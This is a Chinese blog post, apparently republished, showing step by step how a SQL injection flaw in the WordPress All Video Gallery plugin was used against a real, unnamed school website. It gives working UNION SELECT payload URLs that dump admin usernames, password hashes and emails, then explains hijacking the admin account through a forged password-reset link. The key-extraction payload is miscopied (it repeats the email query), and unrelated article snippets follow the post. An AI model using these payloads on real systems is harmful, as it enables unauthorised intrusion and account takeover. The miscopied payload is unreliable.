实战演示黑客如何利用SQL注入漏洞攻破一个WordPress网站

news/2024/5/9 23:54:02/文章来源:https://blog.csdn.net/luyuncsd123/article/details/17859227

发表在 技术技巧 | 7条评论

前几天微软skype的官方博客网站被黑客突破,虽然很快进行了修复,但从网友截屏的图片来看,应该一些抗议美国国安局监听行为和反对微软在软件里隐藏后门的黑客所为。微软skype的官方博客使用的是WordPress平台,Wordpress目前是世界上最流行的博客平台,市场占有率高达70%,这次攻击事件虽然牵涉到wordpress,但并不能说明wordpress平台很脆弱,事实上脆弱的是wordpress上多达百万的各种第三方插件,这些插件的质量良莠不齐,如果你使用错误的插件,没有及时更新到最新版本,那你的wordpress网站就会成为黑客的目标。

All Video Gallery就是这样的一个典型例子。早在2012年6月份就有安全网站公布这个插件的1.1版有严重的安全漏洞,但我今天还是很轻松的使用谷歌搜到了仍然使用这个有漏洞的插件的网站。本文就是要以这个网站为靶子,给大家实战讲解黑客是如何利用sql注入技术攻破一个网站的。

school

这个网站看起来像是印度或巴基斯坦的某个公立学校的网站。我不想在这里透露这个网站的真实地址,如果你也想实战一下,可以自己架设一个wordpress网站,安装上这个有安全漏洞的插件。如果你真的有兴趣想看看这个网站、非恶意的,请关注我的微薄 @外刊IT评论,和我私信联系。

SQL注入的基本原理

sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是http://xxx.com/list.php?customID=3,我们推理,这样页面的后台处理的sql应该是这样的:

select * form custom_order where custom_id = {$_GET['customID']}

按正常情况下,这里的接收的参数{$_GET['customID']}的值应该是传入的值3,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。但是,如果这个参数被人恶意改成了如下形式:

http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

按这样的参数拼装成的sql就成了这样:

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。

All Video Gallery插件的漏洞简介

安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11

访问这个页面会显示一些配置信息,问题就出在pid这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。

WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是wp_users,存放用户名,密码,邮件地址的字段分别是user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。

获取超级管理员用户名

为了获取用户表中的用户名,我们注入的sql是这样的:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

user-name

获取超级管理员邮件地址

我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。

要获取邮件地址,我们需要将上面的sql中的字段名改成user_email:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

user-email

重置管理员密码

WordPress的后台登陆地址是http://xxx.com/wp-login.php,这个地址是可以公共访问的,我们进入这个页面后,点击Lost your password?链接,输入上面获取的管理员邮件。

wp-login

这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样的方法获取这个激活码,自己拼装出密码重置地址。存放激活码的字段是user_activation_key,我们的sql注入地址改成下面这样:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

active-key

有了激活码,我们就可以拼装出装置密码的地址了:

http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username

利用这个地址进入重置密码页面:

reset

总结

我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似sql注入的安全漏洞,构筑更健壮的软件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_841270.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

asp.net网站部署在云服务器windows server 2008上

搭建一个网站需要以下4个准备: 1.域名解析 2.(云)服务器 3.数据库 4.网站代码 其中1可以可以去DNSPOD申请,同时需要进行备案,在上面就都可以完成。2用的是阿里云服务器windows server 2008 R2,去阿里云购买一个&a…

【HTML】网站LOGO

70043-106.jpgLOGO是网站的一个标志&#xff0c;能体现网站的形象和宗旨。 imageimage给网站添加LOGO方法有很多&#xff0c;例如可以直接在站点的根目录下放入“favicon.ico”的图标文件。 我常用的方法是通过<link>元素&#xff0c;链接到一个ico文件。 <link rel&q…

网站CC攻击如何破解?

近两日湖南受到新冠疫情影响&#xff0c;各大商场办公楼等地都需要出示健康码才能进入&#xff0c;早上来公司时很多人在办公楼大门口拿着手机等待健康码刷新&#xff0c;因为健康码服务器被多人同时访问刷新不出来&#xff0c;所以这个类似于CC一样的状态却并不是正真的CC攻击…

这18个网站能让你的页面背景炫酷起来

原文出处&#xff1a;这18个网站能让你的页面背景炫酷起来 这18个网站是我在取经路上意外发现的&#xff0c;里面包括 纯CSS 实现的炫酷背景&#xff0c;还有专门制作背景图的网站。 算是取经路上的大补之物~ 1. CSS3 Patterns Gallery &#x1f397;️ 传送门&#xff1a;『CS…

这18个网站能让你的页面背景炫酷起来

这18个网站是我在取经路上意外发现的&#xff0c;里面包括 纯CSS 实现的炫酷背景&#xff0c;还有专门制作背景图的网站。 算是取经路上的大补之物~ 1. CSS3 Patterns Gallery &#x1f397;️ 传送门&#xff1a;『CSS3 Patterns Gallery』 如果你认识 Lea Verou 的话&…

最新版火车头织梦内容发布规则_B2B行业网站原创利器,让您会员轻松生产原创内容,提升SEO排名...

在运营B2B网站过程中&#xff0c;最能左右排名效果的就是用户发布的供求内容与文章内容。运营B2B网站的权重和收录提升&#xff0c;极度依赖于用户发布的供求信息和专业文章&#xff0c;运营过垂直行业朋友知道&#xff0c;自己的会员用户往往会出现不知道写什么的状况&#xf…

入门十天,我就用50行Python代码爬到了整个网站

这篇文章是利用aiohttp这个库来进行说明的。 如果爬虫需要展现速度&#xff0c;我觉得就是去下载图片吧&#xff0c;原本是想选择去煎蛋那里下载图片的&#xff0c;那里的美女图片都是高质量的&#xff0c;我稿子都是差不多写好了的&#xff0c;无奈今天重新看下&#xff0c;妹…

教你用Python访问一零二四网站,拒绝伸手党

学习Python中有不明白推荐加入交流裙 号&#xff1a;735934841 群里有志同道合的小伙伴&#xff0c;互帮互助&#xff0c; 群里有免费的视频学习教程和PDF&#xff01; 我感觉这个虫子全网***最方便***&#xff0c;最牛逼&…

linux 内核 中断,工作队列 - Linux内核学习之中断_Linux教程_Linux公社-Linux系统门户网站...

[概述]工作队列是一种将工作推后执行的的形式&#xff0c;工作队列可以把工作推后&#xff0c;交由一个内核线程去执行&#xff0c;占有进程上下文的所有优势&#xff0c;允许重新调度和睡眠。[工作队列的实现]工作队列子系统是一个用于创建内核线程的接口&#xff0c;通过它创…

学习Python你不去8个网站?逗我呢!

作为一个现时代的程序员初学者&#xff0c;除了看书之外&#xff0c;互联网的学习手段也是断不能少的&#xff01; 以下这些网站&#xff0c;虽说不上全方位的满足你的需求&#xff0c;但是大部分也都能&#xff01; 0.国外的大神GitHub &#xff1a; https://github.com/pyp…

c++安装 ttf字体_良心网站!45款免费可商用字体大合集下载,再也不怕版权侵扰了!...

100font 是一个免费可商用字体收集网站&#xff0c;上面列出了 目前45 款可以商用的免费字体&#xff0c;看名字&#xff0c;相信未来要收集到 100 款免费字体为止。网站传送门https://www.100font.com/字体打包下载地址【 完 整 版 】百度网盘&#xff1a;https://pan.baidu.c…

如何创建一个模块_如何用手机创建一个网站

如何用手机创建网站&#xff1f;其实正确的说法是如何创建一个手机网站才对&#xff0c;因为很难用手机去制作网站&#xff0c;很不方便。一般是用电脑模拟手机去建网站。我们知道现在很多人上网都是通过手机上网&#xff0c;所以我们自己建网站时&#xff0c;也要学会创建手机…

Python快速刷题网站——牛客网 数据分析篇(一)

&#x1f466;&#x1f466;一个帅气的boy&#xff0c;你可以叫我Love And Program &#x1f5b1; ⌨个人主页&#xff1a;Love And Program的个人主页 &#x1f496;&#x1f496;如果对你有帮助的话希望三连&#x1f4a8;&#x1f4a8;支持一下博主 python是目前非常火爆的…

Python快速刷题网站——牛客网 数据分析篇(二)

&#x1f466;&#x1f466;一个帅气的boy&#xff0c;你可以叫我Love And Program &#x1f5b1; ⌨个人主页&#xff1a;Love And Program的个人主页 &#x1f496;&#x1f496;如果对你有帮助的话希望三连&#x1f4a8;&#x1f4a8;支持一下博主 python是目前非常火爆的…

Python快速刷题网站——牛客网 数据分析篇(三)

&#x1f466;&#x1f466;一个帅气的boy&#xff0c;你可以叫我Love And Program &#x1f5b1; ⌨个人主页&#xff1a;Love And Program的个人主页 &#x1f496;&#x1f496;如果对你有帮助的话希望三连&#x1f4a8;&#x1f4a8;支持一下博主 python是目前非常火爆的…

Python快速刷题网站——牛客网 数据分析篇(四)

&#x1f466;&#x1f466;一个帅气的boy&#xff0c;你可以叫我Love And Program &#x1f5b1; ⌨个人主页&#xff1a;Love And Program的个人主页 &#x1f496;&#x1f496;如果对你有帮助的话希望三连&#x1f4a8;&#x1f4a8;支持一下博主 python是目前非常火爆的…

Python快速刷题网站——牛客网 数据分析篇(五)

&#x1f466;&#x1f466;一个帅气的boy&#xff0c;你可以叫我Love And Program &#x1f5b1; ⌨个人主页&#xff1a;Love And Program的个人主页 &#x1f496;&#x1f496;如果对你有帮助的话希望三连&#x1f4a8;&#x1f4a8;支持一下博主 python是目前非常火爆的…

Python快速刷题网站——牛客网 数据分析篇(六)

&#x1f466;&#x1f466;一个帅气的boy&#xff0c;你可以叫我Love And Program &#x1f5b1; ⌨个人主页&#xff1a;Love And Program的个人主页 &#x1f496;&#x1f496;如果对你有帮助的话希望三连&#x1f4a8;&#x1f4a8;支持一下博主 python是目前非常火爆的…

Python快速刷题网站——牛客网 数据分析篇(七)

&#x1f466;&#x1f466;一个帅气的boy&#xff0c;你可以叫我Love And Program &#x1f5b1; ⌨个人主页&#xff1a;Love And Program的个人主页 &#x1f496;&#x1f496;如果对你有帮助的话希望三连&#x1f4a8;&#x1f4a8;支持一下博主 python是目前非常火爆的…

Python快速刷题网站——牛客网 数据分析篇(八)

&#x1f466;&#x1f466;一个帅气的boy&#xff0c;你可以叫我Love And Program &#x1f5b1; ⌨个人主页&#xff1a;Love And Program的个人主页 &#x1f496;&#x1f496;如果对你有帮助的话希望三连&#x1f4a8;&#x1f4a8;支持一下博主 python是目前非常火爆的…